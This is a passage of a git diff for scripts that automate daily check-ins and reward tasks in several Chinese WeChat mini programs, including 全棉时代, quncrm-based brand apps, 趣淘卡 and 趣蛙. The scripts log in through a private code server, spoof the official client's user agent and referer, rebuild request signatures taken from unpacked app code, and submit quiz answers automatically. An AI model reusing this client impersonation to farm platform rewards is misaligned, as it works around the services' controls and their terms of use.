data=body, + headers=headers, timeout=30) + except Exception: + pass + time.sleep(3) + resp = session.post(f"{WX_SERVER_URL}/wx/code", data=body, + headers=headers, timeout=30) + resp.raise_for_status() + data = resp.json() + if isinstance(data, dict) and data.get("status") is False: + last_msg = data.get("message") or "获取失败" + continue + code = data.get("code") or (data.get("data") or {}).get("code") + if code: + return code + last_msg = "wx_server 未返回 code" + raise RuntimeError(f"wx_server 获取 code 失败(已重试): {last_msg}") + + +def nmp_headers(guid, token=None): + """复刻 request.js: 每个请求头带 code=GUID、tag=v3.0, 登录后再带 token。""" + h = {"Content-Type": "application/json;charset=UTF-8", "code": guid, "tag": "v3.0"} + if token: + h["token"] = token + return h + + +def nmp_login(openid, guid): + """wx.login code -> GET /api/wx/main/login。返回 (token, member, bind)。 + + member 为 None 或无 phone 表示尚未绑定手机号/注册, 无法签到。 + """ + wxcode = get_wx_code(openid) + resp = session.get(f"{NMP}/api/wx/main/login", params={"code": wxcode}, + headers=nmp_headers(guid), timeout=30) + resp.raise_for_status() + body = resp.json() + data = body.get("data") if isinstance(body.get("data"), dict) else None + token = (data or {}).get("token") or body.get("token") + member = (data or {}).get("member") if data else None + if member is None: + member = body.get("member") + bind = (data or {}).get("bind") if data else body.get("bind") + return token, member, bind + + +def get_account_session(openid, index): + """现取 code、现登录, 复用缓存的设备 GUID。返回 (guid, token, member, bind)。""" + cache = read_token_cache() + entry = cache.get(openid) or {} + guid = entry.get("guid") or gen_guid() + token, member, bind = nmp_login(openid, guid) + phone = member.get("phone") if isinstance(member, dict) else None + cache[openid] = {"guid": guid, "hasPhone": bool(phone), "updatedAt": int(time.time())} + write_token_cache(cache) + tag = "已绑定手机号会员" if phone else f"未绑定(bind={bind})" + print(f"账号 {index} nmp登录: token={mask(token)} {tag}") + return guid, token, member, bind + + +def member_sign_in(guid, token): + """每日签到: GET /api/member/signIn/point。响应体为裸数字 1=成功 0=今日已签到。""" + resp = session.get(f"{NMP}/api/member/signIn/point", + headers=nmp_headers(guid, token), timeout=30) + if resp.status_code != 200: + return None, f"签到请求HTTP {resp.status_code}" + text = (resp.text or "").strip() + try: + val = json.loads(text) + except Exception: + val = text + if val in (1, "1"): + return True, "签到成功" + if val in (0, "0"): + return True, "今日已签到" + return False, f"签到失败(返回={text[:80]})" + + +def prize_home(code, token): + """GET /api/prize/home: 可选的成长目标(奖品)列表, 对应 H5 的 guidePrizeList。""" + url = "https://sg01.purcotton.com/api/prize/home" + try: + response = requests.get(url, headers=create_headers(code, token), timeout=30) + response.raise_for_status() + data = response.json() + if data.get("code") == 200: + lst = (data.get("data") or {}).get("list") + return lst if isinstance(lst, list) else [] + print(f"获取目标奖品列表失败: code={data.get('code')} msg={data.get('msg')}") + except requests.exceptions.RequestException as e: + print(f"获取目标奖品列表失败: {e}") + return [] + + +def zhongshu(code, token): + """种树: 选定成长目标后 POST /api/gain-tree {prize_id}。 + + 对应 sg01 H5 `chunk-d2e24086` 的 gainTree(): + axios.get("guidePrizeList") -> /api/prize/home 取目标列表(seedList) + axios.post("getTree", {prize_id: seedList[seedIndex].id}) -> /api/gain-tree + 选苗(choiceSeed)只是前端下标, 无额外校验; 该动作一次性且不消耗水滴。 + 目标由环境变量 qmzmh_prize_id 指定(默认 PRIZE_ID_DEFAULT); 若该 id 不在 + 当前列表中(奖品会下架), 回退为列表首项并打印实际选中的标题。 + """ + prizes = prize_home(code, token) + if not prizes: + return False, "无可选成长目标(prize/home 为空), 未种树" + + want = str(os.getenv("qmzmh_prize_id", PRIZE_ID_DEFAULT)).strip() + chosen = next((p for p in prizes if str(p.get("id")) == want), None) + if chosen is None: + chosen = prizes[0] + print(f"目标 prize_id={want} 已不在列表中, 回退为首项") + title = chosen.get("title") or chosen.get("name") or "" + + url = "https://sg01.purcotton.com/api/gain-tree" + try: + response = requests.post(url, headers=create_headers(code, token), + json={"prize_id": chosen.get("id")}, timeout=30) + response.raise_for_status() + data = response.json() + except requests.exceptions.RequestException as e: + return False, f"种树请求失败: {e}" + + if data.get("code") == 200: + return True, f"已种下(目标: {title})" + msg = data.get("msg") or f"code={data.get('code')}" + # 已有树时服务端会拒绝, 视为幂等成功 + if any(k in str(msg) for k in ("已", "存在", "重复")): + return True, f"已有树({msg})" + return False, f"种树失败: {msg}" + + def jscz(code, token): # 浇水 # 调用hqid函数并获取树木ID及其他信息 tree_id, sunshine, total_sunshine = hqid(code, token) - + + if tree_id is None: + # tree 为空列表 => 尚未种树。种树 = 选定成长目标 + gain-tree, 一次性动作, + # 不消耗水滴; 种下后继续本次浇水。 + print("尚未种树, 正在自动种下...") + planted, plant_msg = zhongshu(code, token) + print(f"种树: {plant_msg}") + if not planted: + return False + tree_id, sunshine, total_sunshine = hqid(code, token) + if tree_id is None: + print("种树后仍未取到树木ID, 跳过浇水") + return False + if tree_id is not None: #print(f"获得的树木ID: {tree_id}") # 可以在这里打印阳光信息,如果需要 #print(f"当前阳光: {sunshine}, 总阳光: {total_sunshine}") - + while True: # 开始一个无限循环 url = "https://sg01.purcotton.com/api/watering" data = {"tree_user_id": tree_id, "water_cnt": 1} # 使用动态获取的树木ID @@ -106,8 +345,8 @@ def jscz(code, token): # 浇水 except requests.exceptions.RequestException as e: print(f"请求失败: {e}") break # 请求异常时停止循环 - else: - print("未能获取树木ID,无法执行浇水操作。") + return True + return False def llhmp(code, token, action, tid): # 添加了tid参数 @@ -333,10 +572,10 @@ def pdrw(code, token): # 判断任务 def complete_task(code, token, tid): # 棉花工厂 url = "https://sg01.purcotton.com/api/task/complete-manual-task" headers = create_headers(code, token) - payload = { + payload = sg01_sign({ "tid": tid, "relate_id": 0, - } + }) try: response = requests.post(url, headers=headers, json=payload) @@ -367,7 +606,7 @@ def lq_fd(code, token, tid): # 三餐福袋和签到 url = "https://sg01.purcotton.com/api/task/complete-task" headers = create_headers(code, token) - data = {"tid": tid} # 使用传入的任务ID + data = sg01_sign({"tid": tid}) # 使用传入的任务ID try: response = requests.post(url, headers=headers, json=data) response.raise_for_status() # 检查响应状态码 @@ -403,10 +642,19 @@ def hqid(code, token): # 获取树木ID和阳光信息 # print("Response JSON:", response_data) # 用于调试 if response_data.get("code") == 200: - tree_data = response_data['data']['tree'] - user_data = response_data['data']['user'] # 获取用户相关数据 + payload = response_data.get('data') or {} + tree_data = payload.get('tree') + user_data = payload.get('user') # 获取用户相关数据 + if not isinstance(user_data, dict): + user_data = {} # 获取树木ID + # 接口的 tree 字段有两种形态: 单棵树为 dict, 多棵/未种树为 list(空列表表示 + # 尚未种树)。兼容处理, 避免 'list' object has no attribute 'get'。 + if isinstance(tree_data, list): + tree_data = tree_data[0] if tree_data else {} + if not isinstance(tree_data, dict): + tree_data = {} tree_id = tree_data.get('id') # 获取阳光相关数据 @@ -472,23 +720,31 @@ def hdwt_box(code, token, tid): #庄园小课堂 # 这里是你提交答案的代码逻辑 url_submit_answer = "https://sg01.purcotton.com/api/answer/complete" - payload = { - "tid": tid, # 假设任务ID为14 + # H5 提交的是所选选项字母(answer=A/B/C/D),服务端在响应里回正确答案; + # 早先写的 win=1 不是真实字段,配合缺失的签名会一起被判「参数格式错误」 + options = [letter for letter in ("A", "B", "C", "D") if exam.get(letter.lower())] + choice = options[0] if options else "A" + payload = sg01_sign({ + "answer": choice, "exam_id": exam_id, - "win": 1 # 假设标记为正确 - } + "tid": int(tid), + }) submit_response = requests.post(url_submit_answer, headers=headers, json=payload) submit_response.raise_for_status() if submit_response.status_code == 200: submit_response_data = submit_response.json() #print(submit_response_data) # 打印完整的响应体 - + if submit_response_data.get("code") != 200: + print(f"提交答案失败:{submit_response_data.get('msg')}") + continue + # 提取并打印get_water, complete_num, 和 box_id - get_water = submit_response_data.get("data", {}).get("get_water", 0) - complete_num = submit_response_data.get("data", {}).get("complete_num", 0) - box_id = submit_response_data.get("data", {}).get("box_id", 0) - print(f"获取水量:{get_water}, 完成数量:{complete_num}, 宝箱ID:{box_id}") + data_ans = submit_response_data.get("data", {}) or {} + get_water = data_ans.get("get_water", 0) + complete_num = data_ans.get("complete_num", 0) + box_id = data_ans.get("box_id", 0) + print(f"答{choice} 正确答案{data_ans.get('answer', '?')} 获取水量:{get_water}, 完成数量:{complete_num}, 宝箱ID:{box_id}") # 如果box_id大于0,则打开宝箱 if box_id > 0: @@ -752,44 +1008,84 @@ def process_all_friends(friends_user_ids, code, token): def main(): - var_name = 'qmzmh' - tokens = get_env_variable(var_name) - if not tokens: + accounts = get_env_variable('qmzmh') + if not accounts: return - - total_tokens = len(tokens) - - if total_tokens > 20: + if not WX_AUTH: + print("❌ 未配置 wx_auth, 无法获取 code, 退出。") + return + total = len(accounts) + if total > 20: print("账号数量超过20个,不执行操作。") return - - for index, token_info in enumerate(tokens, start=1): - parts = token_info.split('#') - if len(parts) < 2: - print("令牌格式不正确。跳过处理。") - continue - - code = parts[0] - token = parts[1] - remark = parts[2] if len(parts) > 2 else "" + print("=============== 全棉时代 签到开始 ===============") + summaries = [] + ok_count = 0 + for index, entry in enumerate(accounts, start=1): + parts = str(entry).split('#', 1) + openid = parts[0].strip() + remark = parts[1].strip() if len(parts) > 1 else "" print() - print(f"------账号{index}/{total_tokens},备注: {remark}-------") - - phone, user_id = login(code, token) - if phone and user_id: # 检查是否成功获取电话号码和用户ID - # 进行后续任务 - cscscs(code, token) - #sj_yg(code, token)#收集阳光 - #syyg(code, token)#使用阳光 - jscz(code, token) #浇水 - pdrw(code, token) #任务判断 - friend_user_ids = hyid(code, token) - if friend_user_ids: - process_all_friends(friend_user_ids, code, token) # 正确传入朋友ID列表 - else: - print("登录失败或获取用户信息失败,跳过当前账号的后续操作。") - + print(f"------账号{index}/{total},备注: {remark}-------") + lines = [f"【账号 {index}{('/' + remark) if remark else ''}】"] + try: + guid, token, member, bind = get_account_session(openid, index) + if not token: + msg = "登录失败(nmp未返回token)" + print(f"❌ {msg}") + lines.append(f"❌ {msg}") + summaries.append("\n".join(lines)) + continue + + phone = member.get("phone") if isinstance(member, dict) else None + if not (isinstance(member, dict) and phone): + msg = ("该账号尚未绑定手机号(需先在小程序「全棉时代」内完成手机号授权" + "注册为会员后, 才能签到/种棉花)") + print(f"⚠️ {msg}") + lines.append(f"⚠️ {msg}") + summaries.append("\n".join(lines)) + continue + + # 核心动作: 每日签到 (本次修复重点) + ok, sign_msg = member_sign_in(guid, token) + print(("🎉 " if ok else "❌ ") + sign_msg) + lines.append(("🎉 " if ok else "❌ ") + sign_msg) + ok_count += 1 if ok else 0 + + # 种棉花: 仅给「自己的树」浇水 (沿用原 sg01 游戏流程)。 + # sg01 侧需再登录一次拿到 phone/user_id; 失败仅提示, 不影响签到结果。 + try: + sg_phone, sg_uid = login(guid, token) + if sg_phone and sg_uid: + cscscs(guid, token) # 刷新/领取日常 + watered = jscz(guid, token) # 浇水(种棉花), 只浇自己的树 + pdrw(guid, token) # 日常任务判断 + if watered: + lines.append("🌱 种棉花: 已完成浇水/日常任务") + else: + lines.append("🌱 种棉花: 日常任务已完成; 种树/浇水未成功, " + "详见日志") + else: + print("种棉花: sg01 登录未通过, 跳过浇水(不影响签到)") + lines.append("🌱 种棉花: sg01 未登录, 已跳过") + except Exception as e: + print(f"种棉花流程异常(忽略, 不影响签到): {e}") + lines.append("🌱 种棉花: 异常已忽略") + # 说明: 原脚本的「给好友浇水」(process_all_friends) 是把自身水量消耗到 + # 他人的树上, 属社交/代浇, 非「种自己的树」目标, 按安全约束停用。 + except Exception as e: + print(f"❌ 账号 {index} 执行异常: {e}") + lines.append(f"❌ 执行异常: {e}") + summaries.append("\n".join(lines)) + time.sleep(1) + + print("\n=============== 全棉时代 签到结束 ===============") + title = f"全棉时代签到 {ok_count}/{total} 成功" + try: + send(title, "\n\n".join(summaries)) + except Exception as e: + print(f"⚠️ 通知发送失败: {e}") if __name__ == "__main__": diff --git a/wxapp/quncrm.js b/wxapp/quncrm.js new file mode 100644 index 00000000..98f065c3 --- /dev/null +++ b/wxapp/quncrm.js @@ -0,0 +1,267 @@ +/* +------------------------------------------ +@Description: 群脉 MAI / quncrm 平台通用 - 微信小程序静默登录 + 会员签到 + 一份脚本覆盖所有用群脉 SaaS 的品牌小程序(问问农会员、…) +cron: 49 8 * * * +------------------------------------------ +变量名:quncrm +变量值:openid#appid#accountId[#备注],一行一个小程序,多行或 & 分隔 + openid = wx_server 里的账号标识(同一个 openid 能给所有 appid 取码) + appid = 该小程序 appid + accountId = 群脉租户 id,取自解包 app-config.json 的 ext.maiAccountId + (24 位十六进制,例:634f5f28a0e71c29500b0313) + 例:owNAX6vp****#wxc5d513880ace81a4#634f5f28a0e71c29500b0313#问问农会员 + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(oauth.quncrm.com + consumer-api.quncrm.com): + +登录 POST https://oauth.quncrm.com//v2/weapp/oauth + {scope:"base", code, watermark:{appid:<小程序 appid>}, is_group:"false"} + -> {accessToken(JWT), channelId, openId, member:{id, originFrom, socials, ...}} + **accountId 在 URL 路径里**(解包 signinWeapp: `${oauthApiBaseUrl}/${accountId}`) + +鉴权方式很特别:**accessToken 不是请求头,是 query 参数**(解包里 request 拦截器统一 +往 params 里塞 `accountId` + `accessToken`,h5ChannelId 存在时还塞 channelId)。 + +活动 GET /modules/campaigncenter/signin/page -> {id, title, type:"signin", status} + 签到活动 id 从这里发现(只读、免参),不写死 +状态 GET /modules/campaigncenter/signin/stats -> 连签/累计等 +签到 POST /modules/campaigncenter/signin {} (实测空 body 即可,没有必填参数) +明细 GET /modules/campaigncenter/signin/detail?campaignId= + +失败信封 {name, message, status, code, errors}。**关键业务码:400105 = +errors.campaign.memberFilter.code == "memberBanned",即"活动仅针对部分用户开放"** +—— 这是运营给活动配的人群定向,不是脚本缺陷、也不是没注册(member 存在), +脚本按 ⚠️ 输出并跳过,不做任何绕过。 + +不做:/modules/campaigncenter/signin/share(分享得奖励)、抽奖类活动。 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("群脉平台签到"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "quncrm"; +const OAUTH_BASE = "https://oauth.quncrm.com"; +const CONSUMER_BASE = "https://consumer-api.quncrm.com"; +const TOKEN_CACHE_FILE = path.join(__dirname, "quncrm_token_cache.json"); +const USER_AGENT = + "Mozilla/5.0 (Linux; Android 12; M2012K11AC Build/SKQ1.220303.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) " + + "Version/4.0 Chrome/134.0.6998.136 Mobile Safari/537.36 MicroMessenger/8.0.48.2580(0x28003036) MiniProgramEnv/android"; + +const EP_OAUTH = "/v2/weapp/oauth"; +const EP_PAGE = "/modules/campaigncenter/signin/page"; +const EP_STATS = "/modules/campaigncenter/signin/stats"; +const EP_SIGN = "/modules/campaigncenter/signin"; + +function readCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} + +function writeCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +function parseAccount(raw = "") { + const [openid, appid, accountId, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid, appid, accountId, remark: remark || "" }; +} + +function short(v, n = 200) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} + +/** 成功就是 2xx 且没有 status>=400 的错误信封 */ +const isOk = (res) => !!res && !(Number(res.status) >= 400); +const msgOf = (res) => res?.message || res?.name || short(res); +const codeOf = (res) => Number(res?.code || 0); +const isAlreadyDone = (t) => /已签|已经签|签到过|重复|已完成|already/i.test(String(t || "")); +/** 400105 / memberBanned = 活动人群定向没包含这个会员 */ +const isMemberBanned = (res) => + codeOf(res) === 400105 || + String(res?.errors?.campaign?.memberFilter?.code || "") === "memberBanned"; +const isAuthError = (res) => Number(res?.status) === 401 || /token|登录|未授权|过期/i.test(msgOf(res)); + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.token = ""; + this.wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: this.account.appid, + auth: process.env.wx_auth || "", + }); + } + + log(text) { + const tag = this.account.remark || this.account.appid || ""; + $.log(`账号[${this.index}]${tag ? `[${tag}]` : ""} ${text}`); + } + + async request(url, { method = "GET", body = null, query = null, withAuth = true } = {}) { + const params = { ...(query || {}) }; + if (withAuth) { + // 群脉把身份放 query:accountId + accessToken + params.accountId = this.account.accountId; + if (this.token) params.accessToken = this.token; + } + const res = await axios.request({ + method, + url, + data: method === "GET" ? undefined : body || {}, + params, + headers: { + "Content-Type": "application/json", + Accept: "application/json, text/plain, */*", + "User-Agent": USER_AGENT, + Referer: `https://servicewechat.com/${this.account.appid}/0/page-frame.html`, + xweb_xhr: "1", + }, + timeout: 20000, + validateStatus: () => true, + }); + if (res.status < 200 || res.status >= 300) { + // 业务结论在 4xx 体里(memberBanned / 已签到 都是这么回的) + if (res.data && typeof res.data === "object") return res.data; + throw new Error(`${url} HTTP ${res.status}: ${short(res.data)}`); + } + return res.data; + } + + /** wcs.getCode 在 status:false 时也 resolve,必须自己判失败,否则取码限流会被误报成登录失败 */ + async getCode() { + const { data } = await this.wechat.getCode(this.account.openid); + if (data && data.status === false) { + throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + } + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + + get cacheKey() { + return `${this.account.openid}#${this.account.appid}`; + } + + async login() { + const code = await this.getCode(); + const res = await this.request(`${OAUTH_BASE}/${this.account.accountId}${EP_OAUTH}`, { + method: "POST", + withAuth: false, + body: { scope: "base", code, watermark: { appid: this.account.appid }, is_group: "false" }, + }); + if (!isOk(res) || !res.accessToken) throw new Error(`登录失败: ${msgOf(res)}`); + this.token = String(res.accessToken); + const member = res.member || {}; + const cache = readCache(); + cache[this.cacheKey] = { token: this.token, memberId: member.id, updatedAt: new Date().toISOString() }; + writeCache(cache); + this.log(`登录成功${member.id ? `(会员 ${String(member.id).slice(0, 8)}…)` : "(无会员档案)"}`); + } + + /** 读签到活动;会话失效返回 null */ + async signinPage(needLog = true) { + const res = await this.request(CONSUMER_BASE + EP_PAGE); + if (!isOk(res)) { + if (isAuthError(res)) return null; + if (needLog) this.log(`读取签到活动失败: ${msgOf(res)}`); + return { failed: true, res }; + } + if (needLog) this.log(`签到活动: ${res.title || res.name || res.id}(${res.status || "-"})`); + return res; + } + + async ensureLogin() { + const cached = readCache()[this.cacheKey] || {}; + if (!this.token && cached.token) { + this.token = cached.token; + const p = await this.signinPage(false); + if (p !== null) { + this.log("使用缓存token"); + return p; + } + this.log("缓存token失效,重新登录"); + this.token = ""; + } + if (!this.token) await this.login(); + return null; + } + + async sign(page) { + if (page === null || page === undefined) page = await this.signinPage(); + if (page === null) { + this.log("❌ 会话无效,签到跳过"); + return; + } + if (page.failed) { + if (isMemberBanned(page.res)) { + this.log(`⚠️ ${msgOf(page.res)} —— 这是活动的人群定向(memberBanned),登录/会员都正常,不是脚本问题`); + return; + } + this.log(`❌ 读取签到活动失败: ${msgOf(page.res)}`); + return; + } + const stats = await this.request(CONSUMER_BASE + EP_STATS); + if (!isOk(stats) && isMemberBanned(stats)) { + this.log(`⚠️ ${msgOf(stats)} —— 这是活动的人群定向(memberBanned),登录/会员都正常,不是脚本问题`); + return; + } + if (isOk(stats)) this.log(`签到状态: ${short(stats, 140)}`); + const res = await this.request(CONSUMER_BASE + EP_SIGN, { method: "POST", body: {} }); + if (isOk(res)) { + this.log(`✅ 签到成功${res.bonus || res.point ? `,+${res.bonus || res.point}` : ""}`); + return; + } + if (isAlreadyDone(msgOf(res))) return this.log(`✅ 今日已签到(${msgOf(res)})`); + if (isMemberBanned(res)) { + this.log(`⚠️ ${msgOf(res)} —— 这是活动的人群定向(memberBanned),不做绕过`); + return; + } + this.log(`❌ 签到失败: ${msgOf(res)}`); + } + + async run() { + if (!this.account.openid || !this.account.appid || !this.account.accountId) { + this.log("跳过:变量值要写成 openid#appid#accountId[#备注]"); + return; + } + try { + const page = await this.ensureLogin(); + await this.sign(page); + } catch (e) { + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { + $.log(`未找到变量 ${ckName}`); + return; + } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})() + .catch((e) => $.log(e.message || e)) + .finally(() => $.done()); diff --git a/wxapp/qutaoka.js b/wxapp/qutaoka.js new file mode 100644 index 00000000..94773e6d --- /dev/null +++ b/wxapp/qutaoka.js @@ -0,0 +1,210 @@ +/* +------------------------------------------ +@Description: 趣淘卡 - 微信小程序静默登录 + 每日签到 +cron: 26 8 * * * +------------------------------------------ +变量名:qutaoka +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wx479a4a95ec031d79,host taotaoka.languoyun.cn): + 登录 POST /api/login form: code=&nickname=&headimg=&pid= + -> status==1,data 本身就是 token 字符串(不是对象) + 之后所有请求带请求头 token: + 资料 POST /api/user + 签到 POST /api/sign_add -> status==1 成功 +这个后端的成功码是 status==1(不是 code),失败原因在 msg。 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("趣淘卡"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "qutaoka"; +const MINI_APP_ID = "wx479a4a95ec031d79"; +const BASE = "https://taotaoka.languoyun.cn"; +const TOKEN_CACHE_FILE = path.join(__dirname, "qutaoka_token_cache.json"); +const USER_AGENT = + "Mozilla/5.0 (Linux; Android 12; M2012K11AC Build/SKQ1.220303.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) " + + "Version/4.0 Chrome/134.0.6998.136 Mobile Safari/537.36 MicroMessenger/8.0.48.2580(0x28003036) MiniProgramEnv/android"; + +const EP_LOGIN = "/api/login"; +const EP_USER = "/api/user"; +const EP_SIGN = "/api/sign_add"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} + +function writeCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} + +function short(v, n = 200) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} + +function form(obj) { + return Object.entries(obj) + .map(([k, v]) => `${k}=${encodeURIComponent(v === undefined || v === null ? "" : v)}`) + .join("&"); +} + +const isOk = (res) => Number(res?.status) === 1; +const msgOf = (res) => res?.msg || res?.message || short(res); +const isAlreadyDone = (t) => /已签|已经签|签到过|重复|already/i.test(String(t || "")); +const isAuthError = (t) => /登录|token|未授权|失效|过期|重新/i.test(String(t || "")); + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.token = ""; + } + + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + + async request(apiPath, body = null) { + const res = await axios.request({ + method: "POST", + url: `${BASE}${apiPath}`, + data: body ? form(body) : "", + headers: { + "Content-Type": "application/x-www-form-urlencoded", + "User-Agent": USER_AGENT, + Referer: `https://servicewechat.com/${MINI_APP_ID}/0/page-frame.html`, + ...(this.token ? { token: this.token } : {}), + }, + timeout: 20000, + validateStatus: () => true, + }); + if (res.status !== 200) throw new Error(`${apiPath} HTTP ${res.status}: ${short(res.data)}`); + return res.data; + } + + /** wcs.getCode 在 status:false 时也 resolve,必须自己判失败 */ + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) { + throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + } + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + + async login() { + const code = await this.getCode(); + const res = await this.request(EP_LOGIN, { code, nickname: "", headimg: "", pid: "" }); + if (!isOk(res)) throw new Error(`登录失败: ${msgOf(res)}`); + // 这个接口的 data 直接就是 token 字符串 + this.token = typeof res.data === "string" ? res.data : (res.data || {}).token || ""; + if (!this.token) throw new Error(`登录未返回 token: ${short(res)}`); + const cache = readCache(); + cache[this.account.openid] = { token: this.token, updatedAt: new Date().toISOString() }; + writeCache(cache); + this.log("登录成功"); + } + + async ensureLogin() { + const cached = readCache()[this.account.openid] || {}; + if (!this.token && cached.token) { + this.token = cached.token; + if (await this.queryUser(false)) { + this.log("使用缓存token"); + return; + } + this.log("缓存token失效,重新登录"); + this.token = ""; + } + if (!this.token) await this.login(); + } + + async queryUser(needLog = true) { + const res = await this.request(EP_USER); + if (!isOk(res)) { + if (needLog) this.log(`读取资料失败: ${msgOf(res)}`); + return false; + } + const d = res.data || {}; + if (needLog) { + const bits = []; + for (const k of ["nickname", "nick_name", "mobile", "integral", "points", "score", "balance"]) { + if (d[k] !== undefined && d[k] !== "") bits.push(`${k}=${d[k]}`); + } + this.log(`会员: ${bits.join(" ") || short(d, 120)}`); + } + return true; + } + + async sign(retry = true) { + const res = await this.request(EP_SIGN); + if (isOk(res)) return this.log("✅ 签到成功"); + if (isAlreadyDone(msgOf(res))) return this.log(`✅ 今日已签到(${msgOf(res)})`); + if (retry && isAuthError(msgOf(res))) { + this.log("会话失效,重新登录后重试"); + this.token = ""; + await this.login(); + return this.sign(false); + } + this.log(`❌ 签到失败: ${msgOf(res)}`); + } + + async run() { + if (!this.account.openid) { + this.log("跳过:变量值里没有 openid"); + return; + } + try { + await this.ensureLogin(); + await this.queryUser(); + await this.sign(); + } catch (e) { + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { + $.log(`未找到变量 ${ckName}`); + return; + } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})() + .catch((e) => $.log(e.message || e)) + .finally(() => $.done()); diff --git a/wxapp/quwa_jxyx.js b/wxapp/quwa_jxyx.js new file mode 100644 index 00000000..d8c11093 --- /dev/null +++ b/wxapp/quwa_jxyx.js @@ -0,0 +1,184 @@ +/* +------------------------------------------ +@Author: sm +@Date: 2026.06.09 +@Description: 趣蛙/匠心优选 登录/查询/签到任务 +cron: 23 8 * * * +------------------------------------------ +变量名:quwa_jxyx +变量值:wx_server里的openid/账号标识,多账号用 & 或换行 +依赖变量:wx_server_url、wx_auth +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("趣蛙/匠心优选"); +const axios = require("axios"); +const crypto = require("crypto"); + +const CK_NAME = "quwa_jxyx"; +const APP = { name: "趣蛙/匠心优选", appid: "wxddaa0832e6acc5f1" }; +const WX_SERVER_URL = (process.env.wx_server_url || "http://192.168.31.196:8787").replace(/\/$/, ""); +const WX_AUTH = process.env.wx_auth || ""; +const DEFAULT_OPENID = process.env.wx_openid || ""; +const USER_AGENT = + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) MicroMessenger/3.9.12 MiniProgramEnv/Windows WindowsWechat/WMPF"; + +function short(value, max = 220) { + if (value === undefined || value === null) return ""; + const text = typeof value === "string" ? value : JSON.stringify(value); + return text.length > max ? `${text.slice(0, max)}...` : text; +} + +function md5(text) { + return crypto.createHash("md5").update(String(text)).digest("hex"); +} + +function sha1(text) { + return crypto.createHash("sha1").update(String(text)).digest("hex"); +} + +async function request(options) { + const res = await axios.request({ + timeout: 20000, + validateStatus: () => true, + ...options, + headers: { + "User-Agent": USER_AGENT, + Accept: "application/json, text/plain, */*", + ...(options.headers || {}), + }, + }); + return { status: res.status, headers: res.headers || {}, data: res.data }; +} + +async function getWxCode(appid, openid) { + if (!WX_AUTH) throw new Error("未配置 wx_auth"); + const { status, data } = await request({ + method: "POST", + url: `${WX_SERVER_URL}/wx/code`, + headers: { auth: WX_AUTH, "content-type": "application/json" }, + data: { appid, openid }, + }); + const code = data?.code || data?.data?.code || data?.phoneCode || data?.data?.phoneCode; + if (status !== 200 || !code) throw new Error(`获取code失败 HTTP ${status}: ${short(data)}`); + return code; +} + +class Quwa { + constructor(openid) { + this.openid = openid; + this.base = "https://api.quwayouxuan.com"; + this.token = ""; + this.userID = ""; + this.globalData = { + current_time: Date.now(), + os: "miniProgram", + deviceabout: "miniProgram", + version: "1.3.01", + miniprogram_os: "", + }; + } + + signKey(data) { + const sorted = {}; + Object.keys(data || {}) + .sort() + .forEach((key) => { + sorted[key] = data[key]; + }); + const text = Object.keys(sorted) + .map((key) => `${key}=${sorted[key]}`) + .join(""); + const encoded = encodeURIComponent(`${text}superjing`.replace(/\s+/g, "")) + .replace(/%20/gi, "") + 